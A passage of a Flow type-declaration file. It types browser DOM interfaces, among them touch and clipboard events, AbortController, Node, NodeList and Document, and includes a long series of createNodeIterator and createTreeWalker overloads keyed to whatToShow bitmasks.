void;\n}\n\n// https://www.w3.org/TR/touch-events/#idl-def-Touch\ndeclare class Touch {\n  clientX: number;\n  clientY: number;\n  identifier: number;\n  pageX: number;\n  pageY: number;\n  screenX: number;\n  screenY: number;\n  target: EventTarget;\n}\n\n// https://www.w3.org/TR/touch-events/#idl-def-TouchList\n// TouchList#item(index) will return null if n > #length. Should #item's\n// return type just been Touch?\ndeclare class TouchList {\n  @@iterator(): Iterator<Touch>;\n  length: number;\n  item(index: number): null | Touch;\n  [index: number]: Touch;\n}\n\n// https://www.w3.org/TR/touch-events/#touchevent-interface\ndeclare class TouchEvent extends UIEvent {\n  altKey: boolean;\n  changedTouches: TouchList;\n  ctrlKey: boolean;\n  metaKey: boolean;\n  shiftKey: boolean;\n  targetTouches: TouchList;\n  touches: TouchList;\n}\n\n// https://www.w3.org/TR/clipboard-apis/#typedefdef-clipboarditemdata\n// Raw string | Blob are allowed per https://webidl.spec.whatwg.org/#es-promise\ntype ClipboardItemData = string | Blob | Promise<string | Blob>;\n\ntype PresentationStyle = 'attachment' | 'inline' | 'unspecified';\n\ntype ClipboardItemOptions = {\n  presentationStyle?: PresentationStyle,\n  ...\n};\n\ndeclare class ClipboardItem {\n  +types: $ReadOnlyArray<string>;\n  getType(type: string): Promise<Blob>;\n  constructor(\n    items: {[type: string]: ClipboardItemData},\n    options?: ClipboardItemOptions\n  ): void;\n}\n\n// https://w3c.github.io/clipboard-apis/ as of 15 May 2018\ntype ClipboardEvent$Init = {\n  ...Event$Init,\n  clipboardData: DataTransfer | null,\n  ...\n};\n\ndeclare class ClipboardEvent extends Event {\n  constructor(type: ClipboardEventTypes, eventInit?: ClipboardEvent$Init): void;\n  +clipboardData: ?DataTransfer; // readonly\n}\n\n// https://www.w3.org/TR/2017/WD-css-transitions-1-20171130/#interface-transitionevent\ntype TransitionEvent$Init = {\n  ...Event$Init,\n  propertyName: string,\n  elapsedTime: number,\n  pseudoElement: string,\n  ...\n};\n\ndeclare class TransitionEvent extends Event {\n  constructor(\n    type: TransitionEventTypes,\n    eventInit?: TransitionEvent$Init\n  ): void;\n\n  +propertyName: string; // readonly\n  +elapsedTime: number; // readonly\n  +pseudoElement: string; // readonly\n}\n\ndeclare class SecurityPolicyViolationEvent extends Event {\n  +documentURI: string;\n  +referrer: string;\n  +blockedURI: string;\n  +effectiveDirective: string;\n  +violatedDirective: string;\n  +originalPolicy: string;\n  +sourceFile: string;\n  +sample: string;\n  +disposition: 'enforce' | 'report';\n  +statusCode: number;\n  +lineNumber: number;\n  +columnNumber: number;\n}\n\n// https://developer.mozilla.org/en-US/docs/Web/API/USBConnectionEvent\ndeclare class USBConnectionEvent extends Event {\n  device: USBDevice;\n}\n\n// TODO: *Event\n\ndeclare class AbortController {\n  constructor(): void;\n  +signal: AbortSignal;\n  abort(reason?: any): void;\n}\n\ndeclare class AbortSignal extends EventTarget {\n  +aborted: boolean;\n  +reason: any;\n  abort(reason?: any): AbortSignal;\n  onabort: (event: Event) => mixed;\n  throwIfAborted(): void;\n  timeout(time: number): AbortSignal;\n}\n\ndeclare class Node extends EventTarget {\n  baseURI: ?string;\n  childNodes: NodeList<Node>;\n  firstChild: ?Node;\n  +isConnected: boolean;\n  lastChild: ?Node;\n  nextSibling: ?Node;\n  nodeName: string;\n  nodeType: number;\n  nodeValue: string;\n  ownerDocument: Document;\n  parentElement: ?Element;\n  parentNode: ?Node;\n  previousSibling: ?Node;\n  rootNode: Node;\n  textContent: string;\n  appendChild<T: Node>(newChild: T): T;\n  cloneNode(deep?: boolean): this;\n  compareDocumentPosition(other: Node): number;\n  contains(other: ?Node): boolean;\n  getRootNode(options?: {composed: boolean, ...}): Node;\n  hasChildNodes(): boolean;\n  insertBefore<T: Node>(newChild: T, refChild?: ?Node): T;\n  isDefaultNamespace(namespaceURI: string): boolean;\n  isEqualNode(arg: Node): boolean;\n  isSameNode(other: Node): boolean;\n  lookupNamespaceURI(prefix: string): string;\n  lookupPrefix(namespaceURI: string): string;\n  normalize(): void;\n  removeChild<T: Node>(oldChild: T): T;\n  replaceChild<T: Node>(newChild: Node, oldChild: T): T;\n  replaceChildren(...nodes: $ReadOnlyArray<Node | string>): void;\n  static ATTRIBUTE_NODE: number;\n  static CDATA_SECTION_NODE: number;\n  static COMMENT_NODE: number;\n  static DOCUMENT_FRAGMENT_NODE: number;\n  static DOCUMENT_NODE: number;\n  static DOCUMENT_POSITION_CONTAINED_BY: number;\n  static DOCUMENT_POSITION_CONTAINS: number;\n  static DOCUMENT_POSITION_DISCONNECTED: number;\n  static DOCUMENT_POSITION_FOLLOWING: number;\n  static DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;\n  static DOCUMENT_POSITION_PRECEDING: number;\n  static DOCUMENT_TYPE_NODE: number;\n  static ELEMENT_NODE: number;\n  static ENTITY_NODE: number;\n  static ENTITY_REFERENCE_NODE: number;\n  static NOTATION_NODE: number;\n  static PROCESSING_INSTRUCTION_NODE: number;\n  static TEXT_NODE: number;\n\n  // Non-standard\n  innerText?: string;\n  outerText?: string;\n}\n\ndeclare class NodeList<T> {\n  @@iterator(): Iterator<T>;\n  length: number;\n  item(index: number): T;\n  [index: number]: T;\n\n  forEach<This>(\n    callbackfn: (this: This, value: T, index: number, list: NodeList<T>) => any,\n    thisArg: This\n  ): void;\n  entries(): Iterator<[number, T]>;\n  keys(): Iterator<number>;\n  values(): Iterator<T>;\n}\n\ndeclare class NamedNodeMap {\n  @@iterator(): Iterator<Attr>;\n  length: number;\n  removeNamedItemNS(namespaceURI: string, localName: string): Attr;\n  item(index: number): Attr;\n  [index: number | string]: Attr;\n  removeNamedItem(name: string): Attr;\n  getNamedItem(name: string): Attr;\n  setNamedItem(arg: Attr): Attr;\n  getNamedItemNS(namespaceURI: string, localName: string): Attr;\n  setNamedItemNS(arg: Attr): Attr;\n}\n\ndeclare class Attr extends Node {\n  isId: boolean;\n  specified: boolean;\n  ownerElement: Element | null;\n  value: string;\n  name: string;\n  namespaceURI: string | null;\n  prefix: string | null;\n  localName: string;\n}\n\ndeclare class HTMLCollection<+Elem: Element> {\n  @@iterator(): Iterator<Elem>;\n  length: number;\n  item(nameOrIndex?: any, optionalIndex?: any): Elem | null;\n  namedItem(name: string): Elem | null;\n  [index: number | string]: Elem;\n}\n\n// from https://www.w3.org/TR/custom-elements/#extensions-to-document-interface-to-register\n// See also https://github.com/w3c/webcomponents/\ntype ElementRegistrationOptions = {\n  +prototype?: {\n    // from https://www.w3.org/TR/custom-elements/#types-of-callbacks\n    // See also https://github.com/w3c/webcomponents/\n    +createdCallback?: () => mixed,\n    +attachedCallback?: () => mixed,\n    +detachedCallback?: () => mixed,\n    +attributeChangedCallback?: ((\n      // attribute is set\n      attributeLocalName: string,\n      oldAttributeValue: null,\n      newAttributeValue: string,\n      attributeNamespace: string\n    ) => mixed) &\n      // attribute is changed\n      ((\n        attributeLocalName: string,\n        oldAttributeValue: string,\n        newAttributeValue: string,\n        attributeNamespace: string\n      ) => mixed) &\n      // attribute is removed\n      ((\n        attributeLocalName: string,\n        oldAttributeValue: string,\n        newAttributeValue: null,\n        attributeNamespace: string\n      ) => mixed),\n    ...\n  },\n  +extends?: string,\n  ...\n};\n\ntype ElementCreationOptions = {is: string, ...};\n\ndeclare class MutationRecord {\n  type: 'attributes' | 'characterData' | 'childList';\n  target: Node;\n  addedNodes: NodeList<Node>;\n  removedNodes: NodeList<Node>;\n  previousSibling: ?Node;\n  nextSibling: ?Node;\n  attributeName: ?string;\n  attributeNamespace: ?string;\n  oldValue: ?string;\n}\n\ntype MutationObserverInitRequired =\n  | {childList: true, ...}\n  | {attributes: true, ...}\n  | {characterData: true, ...};\n\ndeclare type MutationObserverInit = MutationObserverInitRequired & {\n  subtree?: boolean,\n  attributeOldValue?: boolean,\n  characterDataOldValue?: boolean,\n  attributeFilter?: Array<string>,\n  ...\n};\n\ndeclare class MutationObserver {\n  constructor(\n    callback: (arr: Array<MutationRecord>, observer: MutationObserver) => mixed\n  ): void;\n  observe(target: Node, options: MutationObserverInit): void;\n  takeRecords(): Array<MutationRecord>;\n  disconnect(): void;\n}\n\ndeclare class Document extends Node {\n  +timeline: DocumentTimeline;\n  getAnimations(): Array<Animation>;\n  +URL: string;\n  adoptNode<T: Node>(source: T): T;\n  anchors: HTMLCollection<HTMLAnchorElement>;\n  applets: HTMLCollection<HTMLAppletElement>;\n  body: HTMLBodyElement | null;\n  +characterSet: string;\n  /**\n   * Legacy alias of `characterSet`\n   * @deprecated\n   */\n  +charset: string;\n  close(): void;\n  +contentType: string;\n  cookie: string;\n  createAttribute(name: string): Attr;\n  createAttributeNS(namespaceURI: string | null, qualifiedName: string): Attr;\n  createCDATASection(data: string): Text;\n  createComment(data: string): Comment;\n  createDocumentFragment(): DocumentFragment;\n  createElement<TName: $Keys<HTMLElementTagNameMap>>(\n    localName: TName,\n    options?: string | ElementCreationOptions\n  ): HTMLElementTagNameMap[TName];\n  createElementNS<TName: $Keys<HTMLElementTagNameMap>>(\n    namespaceURI: 'http://www.w3.org/1999/xhtml',\n    qualifiedName: TName,\n    options?: string | ElementCreationOptions\n  ): HTMLElementTagNameMap[TName];\n  createElementNS(\n    namespaceURI: string | null,\n    qualifiedName: string,\n    options?: string | ElementCreationOptions\n  ): Element;\n  createTextNode(data: string): Text;\n  currentScript: HTMLScriptElement | null;\n  dir: 'rtl' | 'ltr';\n  +doctype: DocumentType | null;\n  +documentElement: HTMLElement | null;\n  documentMode: number;\n  +documentURI: string;\n  domain: string | null;\n  embeds: HTMLCollection<HTMLEmbedElement>;\n  exitFullscreen(): Promise<void>;\n  queryCommandSupported(cmdID: string): boolean;\n  execCommand(cmdID: string, showUI?: boolean, value?: any): boolean;\n  forms: HTMLCollection<HTMLFormElement>;\n  fullscreenElement: Element | null;\n  fullscreenEnabled: boolean;\n  getElementsByClassName(classNames: string): HTMLCollection<HTMLElement>;\n  getElementsByName(elementName: string): HTMLCollection<HTMLElement>;\n  getElementsByTagName<TName: $Keys<HTMLElementTagNameMap>>(\n    qualifiedName: TName\n  ): HTMLCollection<HTMLElementTagNameMap[TName]>;\n  getElementsByTagNameNS<TName: $Keys<HTMLElementTagNameMap>>(\n    namespaceURI: 'http://www.w3.org/1999/xhtml',\n    qualifiedName: TName\n  ): HTMLCollection<HTMLElementTagNameMap[TName]>;\n  getElementsByTagNameNS(\n    namespaceURI: string | null,\n    qualifiedName: string\n  ): HTMLCollection<Element>;\n  head: HTMLHeadElement | null;\n  images: HTMLCollection<HTMLImageElement>;\n  +implementation: DOMImplementation;\n  importNode<T: Node>(importedNode: T, deep: boolean): T;\n  /**\n   * Legacy alias of `characterSet`\n   * @deprecated\n   */\n  +inputEncoding: string;\n  lastModified: string;\n  links: HTMLCollection<HTMLLinkElement>;\n  media: string;\n  open(url?: string, name?: string, features?: string, replace?: boolean): any;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Document/prerendering} */\n  prerendering: boolean;\n  readyState: string;\n  referrer: string;\n  scripts: HTMLCollection<HTMLScriptElement>;\n  scrollingElement: HTMLElement | null;\n  title: string;\n  visibilityState: 'visible' | 'hidden' | 'prerender' | 'unloaded';\n  write(...content: Array<string | TrustedHTML>): void;\n  writeln(...content: Array<string | TrustedHTML>): void;\n  xmlEncoding: string;\n  xmlStandalone: boolean;\n  xmlVersion: string;\n\n  registerElement(type: string, options?: ElementRegistrationOptions): any;\n  getSelection(): Selection | null;\n\n  // 6.4.6 Focus management APIs\n  activeElement: HTMLElement | null;\n  hasFocus(): boolean;\n\n  // extension\n  location: Location;\n  createEvent(eventInterface: 'CustomEvent'): CustomEvent;\n  createEvent(eventInterface: string): Event;\n  createRange(): Range;\n  elementFromPoint(x: number, y: number): HTMLElement | null;\n  elementsFromPoint(x: number, y: number): Array<HTMLElement>;\n  defaultView: any;\n  +compatMode: 'BackCompat' | 'CSS1Compat';\n  hidden: boolean;\n\n  // Pointer Lock specification\n  exitPointerLock(): void;\n  pointerLockElement: Element | null;\n\n  // from ParentNode interface\n  childElementCount: number;\n  children: HTMLCollection<HTMLElement>;\n  firstElementChild: ?Element;\n  lastElementChild: ?Element;\n  append(...nodes: Array<string | Node>): void;\n  prepend(...nodes: Array<string | Node>): void;\n\n  querySelector<TSelector: $Keys<HTMLElementTagNameMap>>(\n    selector: TSelector\n  ): HTMLElementTagNameMap[TSelector] | null;\n  querySelectorAll<TSelector: $Keys<HTMLElementTagNameMap>>(\n    selector: TSelector\n  ): NodeList<HTMLElementTagNameMap[TSelector]>;\n  // Interface DocumentTraversal\n  // http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/traversal.html#Traversal-Document\n\n  // Not all combinations of RootNodeT and whatToShow are logically possible.\n  // The bitmasks NodeFilter.SHOW_CDATA_SECTION,\n  // NodeFilter.SHOW_ENTITY_REFERENCE, NodeFilter.SHOW_ENTITY, and\n  // NodeFilter.SHOW_NOTATION are deprecated and do not correspond to types\n  // that Flow knows about.\n\n  // NodeFilter.SHOW_ATTRIBUTE is also deprecated, but corresponds to the\n  // type Attr. While there is no reason to prefer it to Node.attributes,\n  // it does have meaning and can be typed: When (whatToShow &\n  // NodeFilter.SHOW_ATTRIBUTE === 1), RootNodeT must be Attr, and when\n  // RootNodeT is Attr, bitmasks other than NodeFilter.SHOW_ATTRIBUTE are\n  // meaningless.\n  createNodeIterator<RootNodeT: Attr>(\n    root: RootNodeT,\n    whatToShow: 2,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Attr>;\n  createTreeWalker<RootNodeT: Attr>(\n    root: RootNodeT,\n    whatToShow: 2,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Attr>;\n\n  // NodeFilter.SHOW_PROCESSING_INSTRUCTION is not implemented because Flow\n  // does not currently define a ProcessingInstruction class.\n\n  // When (whatToShow & NodeFilter.SHOW_DOCUMENT === 1 || whatToShow &\n  // NodeFilter.SHOW_DOCUMENT_TYPE === 1), RootNodeT must be Document.\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 256,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 257,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Element>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 260,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 261,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Element | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 384,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 385,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Element | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 388,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Text | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 389,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Document | Element | Text | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 512,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 513,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Element>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 516,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 517,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Element | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 640,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 641,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Element | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 644,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Text | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 645,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Element | Text | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 768,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 769,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Element>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 772,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 773,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Element | Text>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 896,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 897,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Element | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 900,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentType | Document | Text | Comment>;\n  createNodeIterator<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 901,\n    filter?: NodeFilterInterface\n  ): NodeIterator<\n    RootNodeT,\n    DocumentType | Document | Element | Text | Comment,\n  >;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 256,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 257,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Element>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 260,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 261,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Element | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 384,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 385,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Element | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 388,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Text | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 389,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Document | Element | Text | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 512,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 513,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Element>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 516,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 517,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Element | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 640,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 641,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Element | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 644,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Text | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 645,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Element | Text | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 768,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 769,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Element>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 772,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 773,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Text>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 896,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 897,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 900,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Text | Comment>;\n  createTreeWalker<RootNodeT: Document>(\n    root: RootNodeT,\n    whatToShow: 901,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Text | Comment>;\n\n  // When (whatToShow & NodeFilter.SHOW_DOCUMENT_FRAGMENT === 1), RootNodeT\n  // must be a DocumentFragment.\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1024,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1025,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Element>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1028,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Text>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1029,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Element | Text>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1152,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Comment>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1153,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Element | Comment>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1156,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Text | Comment>;\n  createNodeIterator<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1157,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, DocumentFragment | Element | Text | Comment>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1024,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1025,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Element>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1028,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Text>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1029,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Element | Text>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1152,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Comment>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1153,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Element | Comment>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1156,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Text | Comment>;\n  createTreeWalker<RootNodeT: DocumentFragment>(\n    root: RootNodeT,\n    whatToShow: 1157,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, DocumentFragment | Element | Text | Comment>;\n\n  // In the general case, RootNodeT may be any Node and whatToShow may be\n  // NodeFilter.SHOW_ALL or any combination of NodeFilter.SHOW_ELEMENT,\n  // NodeFilter.SHOW_TEXT and/or NodeFilter.SHOW_COMMENT\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 1,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Element>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 4,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Text>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 5,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Element | Text>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 128,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Comment>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 129,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Element | Comment>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 132,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Text | Comment>;\n  createNodeIterator<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 133,\n    filter?: NodeFilterInterface\n  ): NodeIterator<RootNodeT, Text | Element | Comment>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 1,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Element>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 4,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Text>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 5,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, Element | Text>;\n  createTreeWalker<RootNodeT: Node>(\n    root: RootNodeT,\n    whatToShow: 128,\n    filter?: NodeFilterInterface,\n    entityReferenceExpansion?: boolean\n  ): TreeWalker<RootNodeT, 